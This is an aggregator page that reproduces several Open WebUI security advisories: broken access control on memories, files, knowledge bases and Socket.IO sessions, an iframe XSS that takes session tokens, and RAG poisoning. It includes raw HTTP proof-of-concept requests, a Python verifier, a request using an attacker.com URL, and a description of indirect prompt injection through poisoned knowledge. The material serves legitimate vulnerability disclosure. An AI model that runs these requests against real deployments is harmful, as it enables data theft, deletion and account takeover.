POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23

{ "content": "" }

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 18:53:37 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0

{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","userid":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updatedat":1752864797,"createdat":1752784616}

PoC 3

Example showing a memory being deleted then restored by a different user than its owner

DELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Connection: keep-alive

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:31:19 GMT server: uvicorn content-length: 4 content-type: application/json x-process-time: 0

true

POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive

{ "content": "" }

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:32:31 GMT server: uvicorn content-length: 63 content-type: application/json x-process-time: 0

{"ids":[[]],"documents":[[]],"metadatas":[[]],"distances":[[]]}

POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23

{ "content": "" }

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:05 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0

{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","userid":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updatedat":1752864797,"createdat":1752784616}

POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive

{ "content": "" }

---

HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:34 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0

{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"createdat":1752784616,"updatedat":1752864797}]],"distances":[[0.6216812525921495]]}

Impact

Potential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

Open WebUI v0.9.5 lets an authenticated user attach arbitrary fileid values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, hasaccesstofile() treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file.

Impact

Security boundary crossed: file confidentiality and integrity.

An authenticated attacker who knows or obtains a victim fileid can make Open WebUI authorize, through an attacker-owned shared chat:

- reading the victim file via GET /api/v1/files/{id}/content, and - deleting the victim file via DELETE /api/v1/files/{id}.

Root Cause

Client-controlled message file IDs are persisted without file authorization checks:

python backend/openwebui/main.py await Chats.insertchatfiles( chatid, usermessage.get('id'), [ fileitem.get('id') for fileitem in usermessagefiles if fileitem.get('type') == 'file' ], user.id, )

insertchatfiles() stores the provided IDs directly:

python backend/openwebui/models/chats.py ChatFileModel( userid=userid, chatid=chatid, messageid=messageid, fileid=fileid, )

Later, file authorization trusts shared-chat associations:

python backend/openwebui/utils/accesscontrol/files.py sharedchatids = await Chats.getsharedchatidsbyfileid(fileid, db=db) if sharedchatids: accessibleids = await AccessGrants.getaccessibleresourceids( userid=user.id, resourcetype='sharedchat', resourceids=sharedchatids, permission='read', ) if accessibleids: return True

The download endpoint uses this helper:

python backend/openwebui/routers/files.py if file.userid == user.id or user.role == 'admin' or await hasaccesstofile(id, 'read', user, db=db): return FileResponse(filepath, ...)

On affected versions this shared-chat branch is not gated on accesstype (the grant lookup hardcodes permission='read', but nothing checks that the request itself is a read). The same forged association therefore also satisfies the write check that DELETE /api/v1/files/{id} performs, so the attacker can delete the victim file, not only read it.

Because the shared-chat branch ignores accesstype, the deletion does not require the forged association at all. A user granted only read access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via DELETE /api/v1/files/{id}, since the read grant satisfies the write check. The forged association (above) broadens this to any victim fileid; a legitimate read-only share reaches it without any forgery.

PoC

1. Attacker creates or uses a chat they own. 2. Attacker sends POST /api/chat/completions or POST /api/v1/chat/completions where top-level usermessage.files contains:

json [ { "type": "file", "id": "VICTIMFILEID" } ]

3. Backend inserts a chatfile row linking the attacker chat to VICTIMFILEID. 4. Attacker shares the chat and grants read access to themselves or public access. 5. Attacker requests:

text GET /api/v1/files/VICTIMFILEID/content

Expected: 404/403 because the attacker does not own or otherwise have access to the victim file.

Actual: file authorization succeeds through the attacker-controlled shared-chat association.

Local Verification

I verified the bug locally with Open WebUI's real Chats.insertchatfiles() and real hasaccesstofile() implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code.

Result:

json { "beforechatfilelinkattackercanread": false, "insertsink": { "dbcommitcalled": true, "insertreturnedrows": true, "storedchatids": [ "attacker-chat" ], "storedfileids": [ "victim-file" ], "storeduserids": [ "attacker" ] }, "afterattackersharedchatlinksvictimfileattackercanread": true, "confirmed": true }

PoC:

python #!/usr/bin/env python3 """ Verifier for chat-file link authorization bypass.

This intentionally avoids the app DB because the local Python 3.13 async SQLite stack hangs in this checkout. It still executes Open WebUI's real hasaccesstofile() implementation, with fake model adapters standing in for the DB tables. """

from future import annotations

import asyncio import json import os import sys import types from pathlib import Path from types import SimpleNamespace

def prepareimports() -> None: reporoot = Path(file).resolve().parents[1] sys.path.insert(0, str(reporoot / "backend")) os.environ["VECTORDB"] = "none"

class DummyTyper: def command(self, args, kwargs): return lambda fn: fn

sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda args, kwargs: DummyTyper(), Option=lambda args, kwargs: None, echo=lambda args, kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda args, kwargs: None))

class FakeFiles: async def getfilebyid(self, fileid, db=None): if fileid == "victim-file": return SimpleNamespace( id="victim-file", userid="victim", meta={}, ) return None

class FakeKnowledges: async def getknowledgesbyfileid(self, fileid, db=None): return []

class FakeGroups: async def getgroupsbymemberid(self, userid, db=None): return []

class FakeChannels: async def getchannelsbyfileidanduserid(self, fileid, userid, db=None): return []

class FakeModels: async def getmodelsbyuserid(self, userid, permission="read", db=None): return []

class FakeChats: def init(self, linked: bool): self.linked = linked

async def getsharedchatidsbyfileid(self, fileid, db=None): if self.linked and fileid == "victim-file": # This mirrors a chatfile row tying victim-file to the attacker's # shared chat. The real insertion sink is Chats.insertchatfiles(). return ["attacker-chat"] return []

class FakeAccessGrants: def init(self, granted: bool): self.granted = granted

async def hasaccess(self, args, kwargs): return False

async def getaccessibleresourceids( self, userid, resourcetype, resourceids, permission="read", usergroupids=None, db=None, ): if ( self.granted and userid == "attacker" and resourcetype == "sharedchat" and "attacker-chat" in resourceids and permission == "read" ): return {"attacker-chat"} return set()

class FakeDb: def init(self): self.added = [] self.committed = False

def addall(self, rows): self.added.extend(rows)

async def commit(self): self.committed = True

class FakeDbContext: def init(self, db): self.db = db

async def aenter(self): return self.db

async def aexit(self, exctype, exc, tb): return False

async def verifyinsertsinkacceptsvictimfileid(): import openwebui.models.chats as chatsmodule

fakedb = FakeDb() chatstable = chatsmodule.Chats

originalcontext = chatsmodule.getasyncdbcontext originalexisting = chatstable.getchatfilesbychatidandmessageid

async def fakeexisting(self, chatid, messageid, db=None): return []

try: chatsmodule.getasyncdbcontext = lambda db=None: FakeDbContext(fakedb) chatstable.getchatfilesbychatidandmessageid = types.MethodType(fakeexisting, chatstable)

inserted = await chatstable.insertchatfiles( chatid="attacker-chat", messageid="attacker-message", fileids=["victim-file"], userid="attacker", ) finally: chatsmodule.getasyncdbcontext = originalcontext chatstable.getchatfilesbychatidandmessageid = originalexisting

return { "insertreturnedrows": bool(inserted), "dbcommitcalled": fakedb.committed, "storedfileids": [getattr(row, "fileid", None) for row in fakedb.added], "storedchatids": [getattr(row, "chatid", None) for row in fakedb.added], "storeduserids": [getattr(row, "userid", None) for row in fakedb.added], }

async def main() -> None: prepareimports()

import openwebui.utils.accesscontrol.files as fileacl

attacker = SimpleNamespace(id="attacker", role="user")

original = { "Files": fileacl.Files, "Knowledges": fileacl.Knowledges, "Groups": fileacl.Groups, "Channels": fileacl.Channels, "Chats": fileacl.Chats, "Models": fileacl.Models, "AccessGrants": fileacl.AccessGrants, }

try: fileacl.Files = FakeFiles() fileacl.Knowledges = FakeKnowledges() fileacl.Groups = FakeGroups() fileacl.Channels = FakeChannels() fileacl.Models = FakeModels()

fileacl.Chats = FakeChats(linked=False) fileacl.AccessGrants = FakeAccessGrants(granted=False) before = await fileacl.hasaccesstofile("victim-file", "read", attacker)

fileacl.Chats = FakeChats(linked=True) fileacl.AccessGrants = FakeAccessGrants(granted=True) after = await fileacl.hasaccesstofile("victim-file", "read", attacker)

insertsink = await verifyinsertsinkacceptsvictimfileid()

result = { "victimfileid": "victim-file", "victimfileowner": "victim", "attackerid": "attacker", "attackerownsfile": False, "insertsink": insertsink, "beforechatfilelinkattackercanread": before, "afterattackersharedchatlinksvictimfileattackercanread": after, "confirmed": ( before is False and after is True and insertsink["insertreturnedrows"] is True and insertsink["storedfileids"] == ["victim-file"] and insertsink["storeduserids"] == ["attacker"] ), "sink": "Chats.insertchatfiles() accepts caller-supplied fileids without checking file ownership/read access", } print(json.dumps(result, indent=2, sortkeys=True)) finally: for name, value in original.items(): setattr(fileacl, name, value)

if name == "main": asyncio.run(main())

Recommended Fix

Before calling Chats.insertchatfiles(), filter usermessage.files to files the caller owns or can read:

python allowedfileids = [] for fileid in requestedfileids: file = await Files.getfilebyid(fileid) if file and (file.userid == user.id or user.role == 'admin' or await hasaccesstofile(fileid, 'read', user)): allowedfileids.append(fileid)

Also consider enforcing this inside Chats.insertchatfiles() so future call sites cannot create unauthorized chatfile associations.

Additionally, the shared-chat branch of hasaccesstofile() should honour accesstype, so a read grant cannot satisfy the write check used by file deletion.

Consolidation

Per Open WebUI's Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:

- Cross-user file READ via a forged chatfile association (GET /api/v1/files/{id}/content): @0xEr3n. Fixed by #25054, which gates Chats.insertchatfiles() so a caller can only link files they own or can read. - Cross-user file DELETION via the shared-chat branch ignoring accesstype (DELETE /api/v1/files/{id}): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour accesstype.

Affected: <= 0.9.5. Patched: >= 0.9.6. One CVE for the consolidated advisory.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
XSS
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary Any authenticated user with access to a terminal server could get script of their choosing to run in the Open WebUI origin itself. The HTML file preview rendered terminal-served files in an iframe whose sandbox always granted allow-same-origin alongside allow-scripts, and the file is served from a path on the application's own origin, so the sandbox provided no isolation at all. Script in a previewed file could read the victim's session token and take over the account.

Preconditions - At least one terminal server configured by an admin (TERMINALSERVERCONNECTIONS, empty by default) and reachable by the victim. Deployments with no terminal server configured are not affected. - The attacker needs a normal authenticated account with access to that terminal server, no admin rights. - No victim interaction beyond having the chat open: a displayfile tool call opens the preview automatically. - TERMINALPROXYHEADERS unset, which is the default. An operator who had already set a restrictive Content-Security-Policy through it was not exposed, since those headers are merged into every proxied response including the served file. - The iframeSandboxAllowSameOrigin user setting is off by default, but the affected branch ignored it entirely.

Impact The previewed document runs in the application origin, so it can reach the parent window, read the session token out of localStorage and exfiltrate it, which is full account takeover of the victim. If the victim is an admin, or any user holding workspace.functions, that takeover extends to server-side code execution through Functions. Getting the malicious file written and displayed still requires a prompt-injection or a social step, which is what keeps the complexity high rather than trivial. Instances with no terminal server configured were never affected, and neither was the srcdoc preview path.

Fix Fixed in 0.11.0 by 65a5fad7b (#26907). The serveUrl preview branch now gates allow-same-origin behind the same iframeSandboxAllowSameOrigin setting the srcdoc branch already used, so by default the preview loads at an opaque origin and cannot reach the parent context. Upgrading is sufficient, no configuration change is required, and HTML previews continue to render normally.

Root cause - src/lib/components/chat/FileNav/FilePreview.svelte, the serveUrl iframe branch, reached for HTML files served through /api/v1/terminals/{id}/files/serve/.... - Present from 0.9.0, where that branch was introduced, through 0.10.2.

The component grew two preview paths. The srcdoc path was hardened: same-origin became opt-in and a CSP was injected into the document. The serveUrl path, added later for files streamed from a terminal server, kept a static sandbox string with allow-same-origin baked into it. Because the terminal proxy is mounted under the application's own origin and forwards the upstream response without adding a Content-Security-Policy of its own unless the operator configured one, and no global CSP is set, the sandbox was the only isolation boundary left, and it was granting precisely the permission that dissolved it.

Proof of concept Write an HTML file containing a script that reads window.parent.localStorage.token to a terminal server the victim can reach, then trigger displayfile for that file. The chat handler opens the preview on the resulting terminal:displayfile event with no click, the script executes at the application origin, and the token is exfiltrated.

Credits Reported by @manus-use (researcher zx / Jace).

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary An access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id)

Details The source code at https://github.com/open-webui/open-webui/blob/main/backend/openwebui/routers/knowledge.py#L803 does not properly validate that the file being deleted belongs to the current knowledge base: @router.post("/{id}/file/remove", responsemodel=Optional[KnowledgeFilesResponse]) def removefilefromknowledgebyid( id: str, formdata: KnowledgeFileIdForm, deletefile: bool = Query(True), user=Depends(getverifieduser), db: Session = Depends(getsession), ): knowledge = Knowledges.getknowledgebyid(id=id, db=db) [...] # Note : Access control check on the knowledge base if ( knowledge.userid != user.id and not AccessGrants.hasaccess( userid=user.id, resourcetype="knowledge", resourceid=knowledge.id, permission="write", db=db, ) and user.role != "admin" ): raise HTTPException( statuscode=status.HTTP400BADREQUEST, detail=ERRORMESSAGES.ACCESSPROHIBITED, )

file = Files.getfilebyid(formdata.fileid, db=db) [...] # Note : No checks on the file

if deletefile: try: # Remove the file's collection from vector database filecollection = f"file-{formdata.fileid}" if VECTORDBCLIENT.hascollection(collectionname=filecollection): VECTORDBCLIENT.deletecollection(collectionname=filecollection) except Exception as e: log.debug("This was most likely caused by bypassing embedding processing") log.debug(e) pass

# Delete file from database Files.deletefilebyid(formdata.fileid, db=db) [...]

PoC Victim has a knowledge base with a file (id: 9db6dcee-bb3b-483e-aaf3-310fda366af1) Attacker creates their own collection (id: dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b) Attacker deletes the victim file from their own collection: POST /api/v1/knowledge/dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b/file/remove HTTP/1.1 Host: gaius-neo-val.fr.space.corp Authorization: Bearer eyJhbGciOiJIUzI1[...]nHiaod-3vfNE0 [...]

{"fileid":"9db6dcee-bb3b-483e-aaf3-310fda366af1"}

-----

HTTP/1.1 200 OK [...] The file is then deleted from the victim's knowledge base.

Impact Arbitrary file deletion

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite

Affected Component

Retrieval web/YouTube processing endpoints: - backend/openwebui/routers/retrieval.py (lines 1810-1837, processweb) - backend/openwebui/routers/retrieval.py (the parallel processyoutube endpoint) - backend/openwebui/routers/retrieval.py (line 1445, savedocstovectordb call chain)

Affected Versions

Current main branch (commit 6fdd19bf1) and likely all versions with RAG/knowledge base functionality.

Description

The POST /api/v1/retrieval/process/web endpoint accepts a user-supplied collectionname and an overwrite query parameter (default: True). It performs no authorization check on whether the calling user owns or has write access to the target collection. When overwrite=True, savedocstovectordb calls VECTORDBCLIENT.deletecollection() on the target collection before writing new content.

Combined with the knowledge base enumeration vulnerability (separate report), an attacker can trivially discover any user's knowledge base UUID and then destroy or poison it.

python retrieval.py:1810-1837 — no collection authorization check @router.post('/process/web') async def processweb( request: Request, formdata: ProcessUrlForm, user=Depends(getverifieduser), ... ): # ... fetch and process the URL ... savedocstovectordb( request=request, docs=docs, collectionname=formdata.collectionname, # attacker-controlled, unchecked overwrite=overwrite, # defaults to True ... )

CVSS 3.1 Breakdown

| Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via API call | | Attack Complexity | Low (L) | Single API call with a known KB UUID | | Privileges Required | Low (L) | Requires any authenticated user account | | User Interaction | None (N) | No victim interaction required | | Scope | Unchanged (U) | Impact within the knowledge base authorization boundary | | Confidentiality | None (N) | No data disclosure from this vulnerability directly | | Integrity | High (H) | Complete replacement of victim's KB content with attacker-controlled data | | Availability | High (H) | Victim's original KB embeddings are deleted; KB effectively destroyed |

Attack Scenario

1. Attacker discovers victim's KB UUID via the knowledge-bases meta-collection (separate finding) or other enumeration. 2. Attacker sends: POST /api/v1/retrieval/process/web?overwrite=true { "url": "https://attacker.com/poison", "collectionname": "<victimkbuuid>" } 3. The endpoint fetches content from the attacker's URL. 4. savedocstovectordb deletes the entire vector collection belonging to the victim's knowledge base. 5. The attacker's fetched content is embedded and written as the new collection content. 6. Victim's RAG queries against their KB now return attacker-controlled content instead of their original documents.

Impact

- Data destruction: Victim's original KB embeddings are permanently deleted from the vector store - RAG poisoning: Attacker-controlled content replaces legitimate knowledge, causing the LLM to return misleading or malicious answers to the victim - Indirect prompt injection: Poisoned content can contain crafted prompts that manipulate the victim's LLM behavior when queried - Persistence: The poisoned content persists until the KB is rebuilt from source files

Preconditions

- Attacker must have a valid user account - Attacker must know the target collection name (KB UUID) — easily obtained via the knowledge-bases enumeration finding

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Stale Admin Role in Socket.IO Session Pool Enables Post-Demotion Cross-User Note Access

Affected Component

Socket.IO session state and role-check callsites: - backend/openwebui/socket/main.py (lines 330-351, connect handler — role snapshotted into SESSIONPOOL) - backend/openwebui/socket/main.py (lines 393-398, heartbeat handler — does not refresh role) - backend/openwebui/socket/main.py (line 538, ydoc:document:join — uses cached role for admin check) - backend/openwebui/socket/main.py (line 611, documentsavehandler — uses cached role for admin check) - backend/openwebui/routers/users.py (lines 557-633, role update — does not invalidate SESSIONPOOL) - backend/openwebui/routers/users.py (line 641, user delete — does not invalidate SESSIONPOOL)

Affected Versions

Current main branch (commit 6fdd19bf1) and likely all versions with the collaborative document (Yjs) Socket.IO handlers.

Description

When a user connects via Socket.IO, the connect handler authenticates them via JWT and stores their user record (including role) in the in-memory SESSIONPOOL dictionary keyed by session ID. The heartbeat handler keeps the session alive indefinitely but only refreshes the lastseenat timestamp — never the role.

Role checks in the Yjs collaborative document handlers (ydoc:document:join, documentsavehandler) consult the cached SESSIONPOOL role rather than the database. Meanwhile, administrative role changes and user deletions do not iterate SESSIONPOOL to disconnect affected sessions. As a result, a user whose admin role has been revoked retains admin privileges within their existing Socket.IO session for as long as they keep the connection alive (via automatic heartbeats).

HTTP endpoints are not affected — getcurrentuser at utils/auth.py refetches the user record from the database on every request. The gap is exclusive to the Socket.IO session cache.

python socket/main.py:330-351 — role snapshotted at connect time async def connect(sid, environ, auth): user = None if auth and 'token' in auth: data = decodetoken(auth['token']) if data is not None and 'id' in data: user = Users.getuserbyid(data['id']) if user: SESSIONPOOL[sid] = { 'id': user.id, 'role': user.role, # ← snapshotted, never refreshed ... }

socket/main.py:393-398 — heartbeat refreshes lastseenat only async def heartbeat(sid, data): user = SESSIONPOOL.get(sid) if user: SESSIONPOOL[sid] = {user, 'lastseenat': int(time.time())} # role is carried forward unchanged

socket/main.py:538 — admin check against cached role if user.get('role') != 'admin' and not hasaccess(userid, 'note', noteid, 'read', db=db): return

Attack Scenario

1. User B is an admin and has an active browser session with a live Socket.IO connection. SESSIONPOOL[sid] records role='admin'. 2. Admin A demotes User B to a regular user via POST /api/v1/users/{Bid}/update. The DB user.role becomes 'user'. 3. No Socket.IO disconnect, no SESSIONPOOL update, no token revocation event is triggered by the role change. 4. User B's client continues sending heartbeat events every few seconds; these are accepted and only refresh lastseenat. 5. User B emits ydoc:document:join with documentid = 'note:<victimnoteid>' for any note they do not own. 6. The handler at line 538 evaluates user.get('role') != 'admin' — returns False because SESSIONPOOL still holds the stale admin role. Access check is bypassed, User B joins the document room, receives full document state and live updates. 7. User B emits ydoc:document:update for the same note. The handler at line 611 performs the same cached-admin check, bypasses authorization, and persists attacker-controlled content to the victim's note via Notes.updatenotebyid.

The same bypass occurs if the user is deleted entirely (deleteuserbyid) — the deleted user retains admin privileges on their live socket until disconnection.

Impact

- Read access to any user's notes after admin privileges have been revoked - Write access (content injection, overwrite) to any user's notes under the same conditions - The stale privilege is bounded only by the attacker's willingness to keep the Socket.IO connection alive; heartbeats extend the session indefinitely - Official admin demotion or user deletion gives a false sense of security — HTTP access is correctly revoked, but real-time collaborative access silently continues

Preconditions

- Attacker must have an active Socket.IO connection established while they held admin role - Attacker must retain the Socket.IO session after demotion/deletion (trivial — just don't close the browser)

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203